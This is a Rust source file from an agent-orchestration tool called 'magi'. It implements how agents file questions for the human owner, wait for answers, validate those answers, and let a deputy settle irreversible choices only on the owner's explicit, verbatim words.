Skip to main content

magi/
ask.rs

1//! Questions: what an agent does when the next decision is the owner's.
2//!
3//! An agent that reaches a fork it has no authority to take - which storage
4//! backend, whether a breaking change is acceptable, which of two readings of
5//! the task is meant - has two options. It can guess, and produce an
6//! implementation the owner throws away; or it can stop and ask. This module is
7//! the second option, and it is the reason the graph can be left alone
8//! overnight without also being left to invent product decisions.
9//!
10//! Stopping is cheap on purpose. The run parks as [`RunStatus::Waiting`], which
11//! [`crate::daemon::settle`] refunds, so a question does not spend a task's
12//! retry budget: an operator who asks twice would otherwise come back to a held
13//! task that never had a line of code judged.
14//!
15//! # Shape
16//!
17//! Deliberately the same split as [`crate::queue`]. [`Question`] is data plus
18//! *pure* transitions - [`Question::answer`] is where a phone posting a choice
19//! the question never offered is rejected, and it touches no disk. [`Questions`]
20//! owns all I/O and is constructed with its root, so a test drives a real store
21//! in a temp directory without touching the operator's real home.
22//!
23//! One question is one JSON file under [`Questions`]'s root, written atomically.
24//! Files rather than a database because three processes read and write these
25//! records - the run that asked, `magi web` serving the phone, and `magi answer`
26//! at a terminal - and a rename is the only cross-process atomic write that
27//! needs no coordination between them. It is also why the wait below polls: the
28//! answer arrives in a file written by a process this one has no channel to.
29//!
30//! [`RunStatus::Waiting`]: crate::run::RunStatus::Waiting
31
32use std::path::{Path, PathBuf};
33use std::time::Duration;
34
35use anyhow::{Context, Result, bail};
36use jiff::Timestamp;
37use serde::{Deserialize, Serialize};
38
39use crate::config;
40use crate::proc::Quiet as _;
41use crate::run::RunStatus;
42
43/// On-disk format for a question. Bumped when a field's meaning changes, or -
44/// as with [`Question::thread`], [`Question::answer_timeout`] and now the
45/// waiter bookkeeping ([`Question::cwd`], [`Question::waiter`],
46/// [`Question::delivered_turns`], [`Question::answer_delivered`]) - when a
47/// new field is added that a much older magi has no notion of at all.
48///
49/// The web UI is written against this shape by hand - there is no shared schema
50/// between the front end and this struct - so a field that changes meaning
51/// without a bump here is a UI that lies silently.
52///
53/// A file is refused only when its own `schema` is *greater* than this one -
54/// see [`read_path`] - never merely different: `#[serde(default)]` on every
55/// field added since 1 is what makes an older file's absence of `thread` mean
56/// "no conversation yet" rather than "unreadable", and a strict equality check
57/// would turn every bump into an upgrade that breaks reading yesterday's
58/// question files.
59/// Schema 8 adds optional local posting comparison data. Older questions use Markdown.
60/// Schema 9 preserves individual original triggers inside whole-field replacements.
61/// Schema 10 records the operator decision generation for built-in triage.
62pub const SCHEMA: u32 = 10;
63
64/// How often the wait re-reads the question file.
65///
66/// Three seconds: the answer comes from a human on a phone, so the difference
67/// between three seconds and three hundred milliseconds is invisible to them,
68/// while a tight loop would `stat` and parse a file thousands of times per
69/// minute for a wait that routinely lasts hours. Nothing is held between polls -
70/// no lock, no open handle - because `magi web` and `magi answer` write the
71/// same file from other processes.
72const POLL: Duration = Duration::from_secs(3);
73
74/// How long an agent's reply may go unnoticed before it earns its own
75/// notification.
76///
77/// An operator reading the card when the agent replies does not need paging
78/// again for a conversation they are already in; one who walked away still
79/// needs the tap on the shoulder. Five minutes is a judgement call about that
80/// line, not a policy a repository has an opinion about, which is why it lives
81/// here rather than in `magi.toml`: the operator cannot tell from `magi.toml`
82/// whether they are still looking at the phone, and neither can this build, so
83/// there is nothing for a per-repository setting to be *right* about.
84const REPLY_QUIET_WINDOW: Duration = Duration::from_secs(5 * 60);
85
86/// How long the operator's notification command may run before it is killed.
87///
88/// A webhook that hangs must not hang the run. Twenty seconds is long enough
89/// for a slow HTTP round trip and short enough that the operator still gets the
90/// question filed and the run parked in a bounded time.
91const NOTIFY_TIMEOUT: Duration = Duration::from_secs(20);
92
93/// The longest a single `magi ask` invocation may block on the owner before
94/// it hands the wait back to whatever is running it, rather than to
95/// [`Question::abandon`].
96///
97/// `answer_timeout` defaults to a day, and that is a deadline for the
98/// *question*, not a budget the calling process is free to spend all at
99/// once: an agent CLI's own shell tool kills a command that runs much longer
100/// than this, and the child it kills is `magi ask` itself - the one thing
101/// that would have read the owner's answer. Run 20260908-205802-c9eb is what
102/// that looks like end to end: seat `impl-A` asked, its tool timed the wait
103/// out, and the seat's own summary said it had backgrounded the blocking
104/// `magi ask` and would "continue once the owner replies" - except nothing
105/// was left to notice the reply. The seat exited `completed`, the
106/// backgrounded child died with it, and the owner's eventual answer on the
107/// web UI had nobody left to read it.
108///
109/// So a wait is sliced instead: this call blocks for at most `WAIT_SLICE`
110/// and returns [`Wait::Pending`] if nothing happened, which is not a
111/// failure - the caller runs `magi ask --wait <id>` again, in a fresh
112/// process the tool timeout has never seen. Four minutes leaves a ten-minute
113/// tool budget room for the CLI's own startup and the notification's round
114/// trip, while staying long enough that an owner who answers within the hour
115/// is not making an agent loop through fifteen slices to hear about it.
116const WAIT_SLICE: Duration = Duration::from_secs(240);
117
118/// How long a lease stays believable after its last beat.
119///
120/// Longer than [`WAIT_SLICE`]'s hand-back gap by a wide margin: a slice that
121/// ends with [`Wait::Pending`] leaves the asking agent a moment to call
122/// `magi ask --wait` again, and a reply leaves it a moment to call `--thread`.
123/// A holder that beats every [`POLL`] and is silent for ninety seconds is gone
124/// or about to be, and a lease that is merely between two calls must not be
125/// mistaken for that - the daemon waiter would start a second agent on a
126/// conversation the first is still in.
127pub const LEASE_TTL: Duration = Duration::from_secs(90);
128
129/// How long [`Questions::update`]'s lock may be held before it is presumed
130/// left behind by a writer that died.
131const LOCK_STALE: Duration = Duration::from_secs(10);
132
133/// Environment variable naming the base URL of the web UI, for `{url}`.
134///
135/// A run cannot discover this by itself: `magi web` is a different process,
136/// usually started by hand and often on a different machine on the tailnet, and
137/// the address it settled on (Tailscale IP, port, or the fallback it warned
138/// about) exists only in that process. So the operator names it once, in the
139/// environment `magi serve` runs in - `magi web --open` prints exactly the
140/// string to use on stdout. Unset means `{url}` expands to nothing rather than
141/// to a guess: a notification carrying a link to an address nothing is
142/// listening on is worse than one carrying no link at all.
143pub const WEB_URL_ENV: &str = "MAGI_WEB_URL";
144
145/// Largest panel magi will store, html plus assets.
146///
147/// Checked as a total, before a single byte is written, because the failure
148/// this prevents is not a full disk but a half-copied panel: an agent that
149/// points at a 200 MB screen recording must get one clean error, not a
150/// directory holding the three small files that fitted before the copy died.
151/// Eight mebibytes is far more than a diff, a table and a handful of images
152/// need, and small enough that a phone on a hotel link still renders it.
153pub const PANEL_MAX_BYTES: u64 = 8 * 1024 * 1024;
154
155/// Suffix of the directory holding one question's panel.
156///
157/// A sibling of `<id>.json` rather than a subdirectory of the store, so
158/// [`Questions::list`] - which takes every `*.json` in the root - cannot ever
159/// see it, and so a panel travels with the question it belongs to.
160const PANEL_DIR: &str = ".panel";
161
162/// The panel's entry point inside its directory.
163const PANEL_HTML: &str = "index.html";
164
165/// Scratch directory a panel is assembled in before it is swapped into place.
166const PANEL_TMP: &str = ".panel.tmp";
167
168/// The one asset filename rule, applied on write **and** on read.
169///
170/// Exactly `^[A-Za-z0-9][A-Za-z0-9._-]{0,63}$`, and additionally never
171/// containing `..`. The pattern is this narrow because the name arrives from
172/// two untrusted directions and is then joined onto a path: an agent naming
173/// the asset, and a URL naming it back to [`Questions::panel_asset`]. Every
174/// character that could change what the join means is outside the set - `/`
175/// and `\` cannot appear, so no name can descend or escape; a leading `.` is
176/// refused, so no name can be `..`, `.` or a dotfile; a drive letter's `:` is
177/// refused, which matters because on Windows `Path::join` with an absolute
178/// path *discards the whole prefix* and would serve any file on the disk.
179/// `..` is refused anywhere rather than only at the front so the rule reads
180/// the same as the sentence "no traversal" to anyone auditing it.
181///
182/// The length bound keeps a name inside every filesystem's limit, so a panel
183/// that stores cannot fail to store on the operator's other machine.
184pub fn valid_asset_name(name: &str) -> bool {
185    if name.is_empty() || name.len() > 64 || name.contains("..") {
186        return false;
187    }
188    let mut chars = name.chars();
189    chars.next().is_some_and(|c| c.is_ascii_alphanumeric())
190        && chars.all(|c| c.is_ascii_alphanumeric() || matches!(c, '.' | '_' | '-'))
191}
192
193/// Where a question is in its life.
194#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
195#[serde(rename_all = "lowercase")]
196pub enum QuestionStatus {
197    /// Asked, and waiting for the owner. A run is parked behind it.
198    Open,
199    /// The owner decided. [`Question::answer`] holds what they said.
200    Answered,
201    /// Nobody answered in time, or the question outlived the run that asked.
202    /// Kept rather than deleted: what was asked and never answered is the
203    /// evidence that the operator was the bottleneck.
204    Abandoned,
205}
206
207impl QuestionStatus {
208    /// Is a run still parked behind this question?
209    pub fn open(self) -> bool {
210        matches!(self, Self::Open)
211    }
212
213    /// Lowercase name, as it appears on disk and in the API.
214    pub fn as_str(self) -> &'static str {
215        match self {
216            Self::Open => "open",
217            Self::Answered => "answered",
218            Self::Abandoned => "abandoned",
219        }
220    }
221}
222
223/// What the owner said.
224///
225/// Two shapes rather than one string because the question decides which is
226/// admissible, and [`Question::answer`] enforces it. A phone that posts
227/// `{"choice": "Redis"}` to a question that never offered Redis is a bug in the
228/// front end, and it is caught here rather than handed to an agent as fact.
229#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
230#[serde(rename_all = "lowercase")]
231pub enum Answer {
232    /// One of the offered choices, verbatim.
233    Choice(String),
234    /// Free text, for a question that offered no choices.
235    Text(String),
236}
237
238/// What the daemon does to the task behind a question when a particular
239/// choice is answered.
240///
241/// A closed set, attached to a choice by the asker (`magi ask --choice X
242/// --action X=resume`) and matched by the choice's exact text. Nothing here
243/// is ever derived from the wording of a label or of a free-text answer: a
244/// question without an action for the chosen label does nothing but answer.
245#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
246#[serde(tag = "do", rename_all = "lowercase")]
247pub enum ChoiceAction {
248    /// Resume this run of the task that owns the question.
249    Resume {
250        /// The run to continue. Must still be the task's latest run.
251        run: String,
252    },
253    /// Requeue the task as a fresh competition.
254    Requeue,
255    /// Close the task as done.
256    Done,
257}
258
259impl ChoiceAction {
260    /// Parse a `--action` value: `<label>=<verb>`, where the verb is
261    /// `resume[:<run>]`, `requeue` or `done`. A `resume` without a run takes
262    /// `default_run` (the asker's own `MAGI_RUN`). Returns the label and its
263    /// action; whether the label is one of the choices is the caller's check.
264    pub fn parse(spec: &str, default_run: &str) -> Result<(String, Self)> {
265        let Some((label, verb)) = spec.rsplit_once('=') else {
266            bail!("`--action {spec}` must look like `<choice>=<resume[:run]|requeue|done>`");
267        };
268        let label = label.trim();
269        if label.is_empty() {
270            bail!("`--action {spec}` names no choice before `=`");
271        }
272        let verb = verb.trim();
273        let action = match verb.split_once(':') {
274            Some(("resume", run)) if !run.trim().is_empty() => Self::Resume {
275                run: run.trim().to_owned(),
276            },
277            None if verb == "resume" => {
278                if default_run.is_empty() {
279                    bail!("`--action {spec}` names no run and MAGI_RUN is not set");
280                }
281                Self::Resume {
282                    run: default_run.to_owned(),
283                }
284            }
285            None if verb == "requeue" => Self::Requeue,
286            None if verb == "done" => Self::Done,
287            _ => bail!(
288                "unknown action `{verb}` in `--action {spec}`; \
289                 use resume[:<run>], requeue or done"
290            ),
291        };
292        Ok((label.to_owned(), action))
293    }
294
295    /// Short human wording, for `magi show` and the card.
296    pub fn describe(&self) -> String {
297        match self {
298            Self::Resume { run } => format!("resume run {}", short(run)),
299            Self::Requeue => "requeue the task".to_owned(),
300            Self::Done => "mark the task done".to_owned(),
301        }
302    }
303}
304
305/// Parse every `--action` value against the offered `choices`, refusing a
306/// label the question does not offer (it could never fire).
307pub fn parse_actions(
308    specs: &[String],
309    choices: &[String],
310    default_run: &str,
311) -> Result<std::collections::BTreeMap<String, ChoiceAction>> {
312    let mut out = std::collections::BTreeMap::new();
313    for spec in specs {
314        let (label, action) = ChoiceAction::parse(spec, default_run)?;
315        if !choices.contains(&label) {
316            bail!(
317                "`--action {spec}`: `{label}` is not one of the --choice values ({})",
318                choices.join(", ")
319            );
320        }
321        if out.insert(label.clone(), action).is_some() {
322            bail!("more than one --action for `{label}`");
323        }
324    }
325    Ok(out)
326}
327
328/// Who wrote one turn of a question's conversation.
329///
330/// Two values, not three: [`Question::thread`] is the record of a single
331/// question stopping and resuming, and the agent that resumes it is always
332/// the one that asked - a fresh consultant would have to be caught up on
333/// everything the first agent already knows, which is the round trip this
334/// module exists to avoid. The names and the wire spelling deliberately match
335/// [`crate::chat::Who`], which this module does not depend on: the two are the
336/// same idea in two products, and giving them the same shape is what lets the
337/// phone render both with one component.
338#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
339#[serde(rename_all = "lowercase")]
340pub enum Who {
341    /// The person the agent asked.
342    Operator,
343    /// The agent that asked, replying to a question of its own rather than
344    /// answering.
345    Agent,
346}
347
348/// One turn in a question's back-and-forth, after the question itself was
349/// asked.
350///
351/// The question's own `summary`/`detail`/`choices` already carry the agent's
352/// opening move, so a turn only exists from the moment the owner talks back -
353/// [`Question::thread`] starts empty and stays that way for the overwhelming
354/// majority of questions, which are answered on the first read.
355#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
356#[serde(deny_unknown_fields)]
357pub struct Turn {
358    /// Who said it.
359    pub who: Who,
360    /// What they said.
361    pub body: String,
362    /// When they said it.
363    pub at: Timestamp,
364    /// A deputy's own report beside a settle: side effects it caused and
365    /// requests it could not carry out. The deputy's claim, never checked by
366    /// magi, and kept apart from `body` so the verified "Settled as" line and
367    /// this self-report cannot be mistaken for each other.
368    #[serde(default, skip_serializing_if = "Option::is_none")]
369    pub note: Option<String>,
370}
371
372/// Who is keeping watch over an open question.
373#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
374#[serde(rename_all = "lowercase")]
375pub enum WaiterKind {
376    /// The `magi ask` process the agent started.
377    Asker,
378    /// The `magi serve` waiter ([`crate::waiter`]), resuming the asking seat's
379    /// own session because the asker is gone.
380    Daemon,
381    /// The question's deputy ([`crate::deputy`]): a short-lived seat that
382    /// `magi serve` runs for a question the conductor filed, so that something
383    /// which remembers why it was asked is on the other end.
384    Deputy,
385}
386
387/// The follow-up seat a conductor question hands its wait to.
388///
389/// The conductor itself never waits (see [`crate::conduct`]), so a free-text
390/// reply to its question would reach nobody. A deputy is a seat of its own -
391/// keyed `deputy-<question id>`, never the conductor's shared seat - that
392/// inherits what the conductor knew about this one question ([`Deputy::brief`])
393/// and blocks on it with `magi ask --wait`. Persisted on the question so a
394/// restarted daemon resumes the same CLI conversation instead of assuming it.
395///
396/// Written only through [`Questions::update`]: the owner's say and answer land
397/// on the same file.
398#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
399pub struct Deputy {
400    /// Why the question was asked, what each choice leads to: the conductor's
401    /// context for this one question, handed to the deputy in its prompt.
402    pub brief: String,
403    /// The agent that holds the seat. Empty until the first start.
404    #[serde(default)]
405    pub agent: String,
406    /// The deputy's own conversation. `None` until the first start.
407    #[serde(default)]
408    pub seat: Option<crate::agent::SeatState>,
409    /// How many times a deputy turn was started for this question. Never reset
410    /// by a restart, so a deputy that keeps dying is bounded.
411    #[serde(default)]
412    pub starts: u32,
413}
414
415impl Deputy {
416    /// A deputy that has not started yet, holding `brief`.
417    pub fn new(brief: String) -> Self {
418        Self {
419            brief,
420            agent: String::new(),
421            seat: None,
422            starts: 0,
423        }
424    }
425}
426
427/// Seat name of the deputy for question `id`.
428pub fn deputy_seat_key(id: &str) -> String {
429    format!("deputy-{}", short(id))
430}
431
432/// The record's note of who was last known to be waiting.
433///
434/// A note, not a promise: nothing rewrites the question when a holder dies, so
435/// whether it still holds is read from the [`Lease`] beside it.
436#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
437pub struct Waiter {
438    /// Who took the wait.
439    pub kind: WaiterKind,
440    /// When they took it.
441    pub since: Timestamp,
442}
443
444/// A sidecar (`<id>.lease`) saying that something is alive and waiting.
445///
446/// A sidecar rather than a field of the question because a holder beats every
447/// few seconds, and rewriting the question that often would race the phone's
448/// answer and say with lost updates. It is not `*.json`, so
449/// [`Questions::list`] never sees it. No pid check: pids are reused and mean
450/// different things across platforms, while a beat that stopped is evidence on
451/// every one.
452#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
453pub struct Lease {
454    /// Who beat last.
455    pub kind: WaiterKind,
456    /// Their process id, for a human reading the file.
457    pub pid: u32,
458    /// When they beat last.
459    pub beat_at: Timestamp,
460}
461
462impl Lease {
463    /// Was the last beat recent enough to believe the holder is still there?
464    pub fn fresh(&self, now: Timestamp) -> bool {
465        now.as_second() - self.beat_at.as_second() <= LEASE_TTL.as_secs() as i64
466    }
467}
468
469/// One decision magi will not take on the owner's behalf.
470#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
471#[serde(deny_unknown_fields)]
472pub struct Question {
473    /// On-disk format version.
474    pub schema: u32,
475    /// Question id, e.g. `20260902-231501-ab12`. Same shape as a run's and a
476    /// task's, so the operator can paste any of them at any prefix argument.
477    pub id: String,
478    /// Run that is parked behind this question.
479    pub run: String,
480    /// Graph node the asking agent was working in, e.g. `implement`.
481    pub node: String,
482    /// Seat that asked, e.g. `impl-A`. Recorded because "which agent needs
483    /// this" decides whether the answer unblocks one candidate or all of them.
484    pub seat: String,
485    /// One line: the question itself. This is what a notification carries and
486    /// what the phone shows above the answer controls.
487    pub summary: String,
488    /// The reasoning behind the question, as markdown. May be long, may be
489    /// empty. Rendered as text nodes by the UI, never as markup.
490    pub detail: String,
491    /// Display-only comparison; never used to decide or construct a post.
492    #[serde(default, skip_serializing_if = "Option::is_none")]
493    pub posting_comparison: Option<crate::github_text::PostingComparison>,
494    /// The admissible answers. **Empty means free text** - that one condition
495    /// is the whole difference between the two kinds of question, on disk, in
496    /// the UI, and in [`Question::answer`]'s validation.
497    pub choices: Vec<String>,
498    /// What the daemon does when a given choice is answered, keyed by the
499    /// choice's exact text. Empty for an ordinary question. A key is always
500    /// one of [`Question::choices`]; `#[serde(default)]` so older files read.
501    #[serde(default)]
502    pub actions: std::collections::BTreeMap<String, ChoiceAction>,
503    /// Does this question have an agent-authored HTML panel beside it?
504    ///
505    /// Serialised with a default so a question written by an older magi - or
506    /// by hand - still deserialises rather than failing the whole store, which
507    /// under [`Questions::list`]'s skip-unreadable rule would quietly hide the
508    /// open question the operator was looking for.
509    #[serde(default)]
510    pub panel: bool,
511    /// Files copied in beside the panel's html, by base name, sorted.
512    ///
513    /// The list exists so a reader knows what a panel is made of without
514    /// walking the directory, and every entry satisfies [`valid_asset_name`].
515    /// Sorted because it is compared - a question re-asked with the same
516    /// assets in a different argument order is not a different question.
517    #[serde(default)]
518    pub assets: Vec<String>,
519    /// Current state.
520    pub status: QuestionStatus,
521    /// When the agent asked.
522    pub asked_at: Timestamp,
523    /// Operator decision generation when a built-in triage question was filed.
524    #[serde(default)]
525    pub triage_generation: Option<u64>,
526    /// When the owner answered, if they did.
527    pub answered_at: Option<Timestamp>,
528    /// What they said.
529    pub answer: Option<Answer>,
530    /// Everything said after the question itself, oldest first: the owner
531    /// asking back, the agent replying, as many times as it takes before an
532    /// [`Answer`] lands.
533    ///
534    /// `#[serde(default)]` so a question written before this field existed -
535    /// every question on disk before this build - still deserialises as one
536    /// with no conversation yet, rather than failing [`Questions::list`]'s
537    /// read and quietly hiding an open question from the operator.
538    #[serde(default)]
539    pub thread: Vec<Turn>,
540    /// The `answer_timeout`, in seconds, that was in force when this question
541    /// was first asked. `0` means unrecorded - a question written before this
542    /// field existed, or one filed by a flow (land's merge-approval gate)
543    /// that never sets it because it never resumes a sliced wait.
544    ///
545    /// [`Question::new`] cannot know this - the effective timeout (`--timeout`,
546    /// or the config default) is decided by the caller, after the question
547    /// already exists - so it starts at `0` here and whoever files a fresh
548    /// question sets it once, the same way [`Question::panel`] is set by
549    /// [`Questions::put_panel`] rather than by the constructor. It is never
550    /// touched again: `magi ask --wait` reads it as the one deadline it is
551    /// allowed to enforce, precisely so that a `--timeout` given (or omitted)
552    /// on a later call can never quietly extend or shrink the budget the
553    /// question was actually asked with.
554    #[serde(default)]
555    pub answer_timeout: u64,
556    /// The directory the asking agent was working in when it asked, so the
557    /// daemon waiter can resume that agent's session from where it stood.
558    /// `None` for a question no `magi ask` filed (land's approval gate, a
559    /// release notice, one written before this field existed): those have no
560    /// agent to hand anything back to, and the waiter leaves them alone.
561    #[serde(default)]
562    pub cwd: Option<String>,
563    /// Who was last known to be waiting - see [`Waiter`].
564    #[serde(default)]
565    pub waiter: Option<Waiter>,
566    /// How many entries of [`Question::thread`] the agent has been shown, by
567    /// the asking process printing them or by the waiter resuming the seat.
568    /// The owner's turn at an index at or past this has reached nobody yet.
569    #[serde(default)]
570    pub delivered_turns: usize,
571    /// Has the agent been told the [`Answer`]? The asker prints it as it
572    /// returns; the waiter delivers it when the asker was gone.
573    #[serde(default)]
574    pub answer_delivered: bool,
575    /// The follow-up seat waiting on this question, for a question the
576    /// conductor filed. `None` for every other question.
577    #[serde(default)]
578    pub deputy: Option<Deputy>,
579    /// Set once the owner handed this question to the chat it came from
580    /// ([`crate::consult::begin`]). The question stays open; this only records
581    /// that the chat was asked, so a second tap does not post it twice.
582    #[serde(default)]
583    pub consult: Option<ChatConsult>,
584}
585
586/// A question the owner passed to the chat conversation its task came from.
587#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
588pub struct ChatConsult {
589    /// The conversation the question was posted into.
590    pub talk: String,
591    /// When it was posted.
592    pub at: Timestamp,
593}
594
595impl Question {
596    /// Does `run` hold a task id rather than a run id? True for the
597    /// conductor's and the triage questions, which are filed about a task.
598    pub fn run_names_task(&self) -> bool {
599        matches!(
600            self.node.as_str(),
601            crate::conduct::NODE | crate::triage::NODE | crate::triage::DEPS_NODE
602        )
603    }
604
605    /// Ask something. Persist it with [`Questions::put`], or hand it to
606    /// [`ask_and_wait`], which files it and waits.
607    pub fn new(
608        run: String,
609        node: String,
610        seat: String,
611        summary: String,
612        detail: String,
613        choices: Vec<String>,
614    ) -> Self {
615        Self {
616            schema: SCHEMA,
617            id: new_id(),
618            run,
619            node,
620            seat,
621            summary,
622            detail,
623            posting_comparison: None,
624            choices,
625            actions: std::collections::BTreeMap::new(),
626            panel: false,
627            assets: Vec::new(),
628            status: QuestionStatus::Open,
629            asked_at: Timestamp::now(),
630            triage_generation: None,
631            answered_at: None,
632            answer: None,
633            thread: Vec::new(),
634            answer_timeout: 0,
635            cwd: None,
636            waiter: None,
637            delivered_turns: 0,
638            answer_delivered: false,
639            deputy: None,
640            consult: None,
641        }
642    }
643
644    /// Short form used in reports and on the phone, matching a run's short id.
645    pub fn short(&self) -> &str {
646        short(&self.id)
647    }
648
649    /// The action attached to the choice that was answered, if the question
650    /// is answered with a choice that carries one. Free text never matches.
651    pub fn chosen_action(&self) -> Option<&ChoiceAction> {
652        match (&self.status, &self.answer) {
653            (QuestionStatus::Answered, Some(Answer::Choice(c))) => self.actions.get(c),
654            _ => None,
655        }
656    }
657
658    /// Does this question want free text rather than one of a set?
659    pub fn free_text(&self) -> bool {
660        self.choices.is_empty()
661    }
662
663    /// Record an answer. Rejects a choice the question does not offer, free
664    /// text on a multiple-choice question, an empty answer, and a second
665    /// answer.
666    ///
667    /// Every rejection here is a case where accepting would put a fabrication
668    /// in front of an agent as if the owner had said it. The messages are
669    /// distinct because the caller is a web handler that shows them verbatim,
670    /// and "that is not one of the choices" and "this question is multiple
671    /// choice" are different mistakes with different fixes.
672    pub fn answer(&mut self, answer: Answer) -> Result<()> {
673        match self.status {
674            QuestionStatus::Answered => bail!(
675                "question {} was already answered; the run has moved on and a \
676                 second answer would be a decision nobody acted on",
677                self.short()
678            ),
679            QuestionStatus::Abandoned => bail!(
680                "question {} was abandoned and the run behind it is gone",
681                self.short()
682            ),
683            QuestionStatus::Open => {}
684        }
685        let body = match &answer {
686            Answer::Choice(c) | Answer::Text(c) => c.as_str(),
687        };
688        if body.trim().is_empty() {
689            bail!(
690                "question {} needs an answer; an empty one tells the agent \
691                 nothing and it would guess anyway",
692                self.short()
693            );
694        }
695        match &answer {
696            Answer::Choice(c) if self.free_text() => bail!(
697                "question {} asks for free text, so `{c}` cannot be a choice \
698                 it offered",
699                self.short()
700            ),
701            Answer::Choice(c) if !self.choices.iter().any(|o| o == c) => bail!(
702                "`{c}` is not one of the choices question {} offers: {}",
703                self.short(),
704                self.choices.join(", ")
705            ),
706            Answer::Text(_) if !self.free_text() => bail!(
707                "question {} is multiple choice; answer with one of: {}",
708                self.short(),
709                self.choices.join(", ")
710            ),
711            _ => {}
712        }
713        self.answered_at = Some(Timestamp::now());
714        self.answer = Some(answer);
715        self.status = QuestionStatus::Answered;
716        Ok(())
717    }
718
719    /// Give up on an answer, keeping the record of what was asked.
720    ///
721    /// An answered question is left alone, which matters at exactly one moment:
722    /// the owner answering in the same second the wait's deadline passes. The
723    /// answer is the thing worth keeping there, and it has already been written
724    /// by another process.
725    ///
726    /// The reason is appended to [`Question::detail`] because the on-disk shape
727    /// is a contract with the front end and has no field of its own for it -
728    /// and "asked at 3am, nobody home for a day" belongs with the question, not
729    /// only in a log the operator will never open.
730    pub fn abandon(&mut self, why: impl Into<String>) {
731        if !self.status.open() {
732            return;
733        }
734        self.status = QuestionStatus::Abandoned;
735        let why = why.into();
736        let why = why.trim();
737        if why.is_empty() {
738            return;
739        }
740        if !self.detail.is_empty() {
741            self.detail.push('\n');
742        }
743        self.detail.push_str("\n_Abandoned: ");
744        self.detail.push_str(why);
745        self.detail.push_str("._\n");
746    }
747
748    /// The answer as the asking agent should read it.
749    ///
750    /// One string for both kinds of question: the agent's prompt says "the
751    /// owner answered:", and a chosen option and a typed sentence are the same
752    /// thing at that point. `None` while the question is open or abandoned, so
753    /// a caller cannot mistake silence for a decision.
754    pub fn resolution(&self) -> Option<String> {
755        match (self.status, &self.answer) {
756            (QuestionStatus::Answered, Some(Answer::Choice(a) | Answer::Text(a))) => {
757                Some(a.clone())
758            }
759            _ => None,
760        }
761    }
762
763    /// A deputy recording that the owner's own words settled the question.
764    ///
765    /// The owner decided in free text ("setup done") on a question that offers
766    /// choices, so no choice was ever tapped. This records `label` as the
767    /// answer - and nothing else: applying it is the daemon's existing path
768    /// for an answered conductor question. Refused unless the caller is this
769    /// question's deputy seat, `label` is one of the offered choices, and
770    /// `quote` appears verbatim in something the owner said; the quote is
771    /// kept in the thread as an agent turn so the record shows what the
772    /// decision rests on.
773    pub fn settle_by_deputy(
774        &mut self,
775        seat: &str,
776        label: &str,
777        quote: &str,
778        note: Option<&str>,
779    ) -> Result<()> {
780        let Some(deputy) = &self.deputy else {
781            bail!("question {} has no deputy", self.short());
782        };
783        let own = deputy.seat.as_ref().map(|s| s.key.as_str());
784        if own != Some(seat) {
785            bail!("only the deputy of question {} may settle it", self.short());
786        }
787        if !self.choices.iter().any(|c| c == label) {
788            bail!(
789                "`{label}` is not one of the choices offered on question {}",
790                self.short()
791            );
792        }
793        let quote = quote.trim();
794        if quote.is_empty()
795            || !self
796                .thread
797                .iter()
798                .any(|t| t.who == Who::Operator && t.body.contains(quote))
799        {
800            bail!(
801                "the quote is not something the owner said on question {}",
802                self.short()
803            );
804        }
805        // The owner's latest message is what counts (an earlier one may since
806        // have been qualified or withdrawn).
807        let latest = self
808            .thread
809            .iter()
810            .rev()
811            .find(|t| t.who == Who::Operator)
812            .map(|t| {
813                if self.node == crate::github_text::ASK_NODE && !crate::deputy::merge_gated(self) {
814                    t.body.as_str()
815                } else {
816                    t.body.trim()
817                }
818            });
819        if crate::deputy::merge_gated(self) {
820            // The merge is irreversible and a say is not a decision. `hold` must
821            // be the latest message exactly. For `merge`, whether the words are
822            // a clear, unhedged instruction is the deputy's judgement alone;
823            // all magi checks is that the quote is a verbatim part of that
824            // latest message.
825            let ok = if label == crate::land::APPROVE {
826                latest.is_some_and(|m| m.contains(quote))
827            } else if label == crate::land::HOLD || label == crate::land::REPAIR {
828                latest.is_some_and(|m| {
829                    quote.eq_ignore_ascii_case(label) && m.eq_ignore_ascii_case(label)
830                })
831            } else {
832                false
833            };
834            if !ok {
835                bail!(
836                    "on a merge approval `{label}` settles it only when the quote is a \
837                     verbatim part of the owner's latest message ({}); if the wording is \
838                     doubtful, ask what they mean with `--thread` instead",
839                    if label == crate::land::HOLD {
840                        "for `hold`, the whole message"
841                    } else {
842                        "the quote must be the instruction itself"
843                    }
844                );
845            }
846        } else if self.node == crate::github_text::ASK_NODE
847            && crate::deputy::destructive(self, label)
848        {
849            if !latest.is_some_and(|m| crate::github_text::posting_authorized(m, quote, label)) {
850                bail!(
851                    "posting confirmation requires an explicit, unconditional instruction for the chosen text quoted verbatim from the latest owner message"
852                );
853            }
854        } else if crate::deputy::destructive(self, label)
855            && !latest.is_some_and(|m| crate::land::unhedged(m, quote))
856        {
857            bail!(
858                "`{label}` cannot be undone; it settles question {} only when the owner's \
859                 latest message clearly says so, unhedged and quoted verbatim (no maybe / if \
860                 / not / question); ask what they mean with `--thread` instead",
861                self.short()
862            );
863        }
864        self.thread.push(Turn {
865            who: Who::Agent,
866            body: format!("Settled as `{label}` on the owner's words: \"{quote}\""),
867            at: Timestamp::now(),
868            note: note
869                .map(str::trim)
870                .filter(|n| !n.is_empty())
871                .map(str::to_owned),
872        });
873        self.delivered_turns = self.thread.len();
874        self.answer(Answer::Choice(label.to_owned()))
875    }
876
877    /// The owner speaking back without answering: a request for context, a
878    /// clarifying question, anything short of a decision.
879    ///
880    /// Rejects the same two states [`Question::answer`] does, and for the same
881    /// reason - a question with a recorded [`Answer`] or an abandoned one has
882    /// no run left listening for a reply - and an empty turn, which would tell
883    /// the agent nothing it didn't already know. Never changes `status`: the
884    /// question stays [`QuestionStatus::Open`], because the owner did not
885    /// decide anything, they only spoke, and `count_open`/`open_for` must keep
886    /// counting this as the one question it always was.
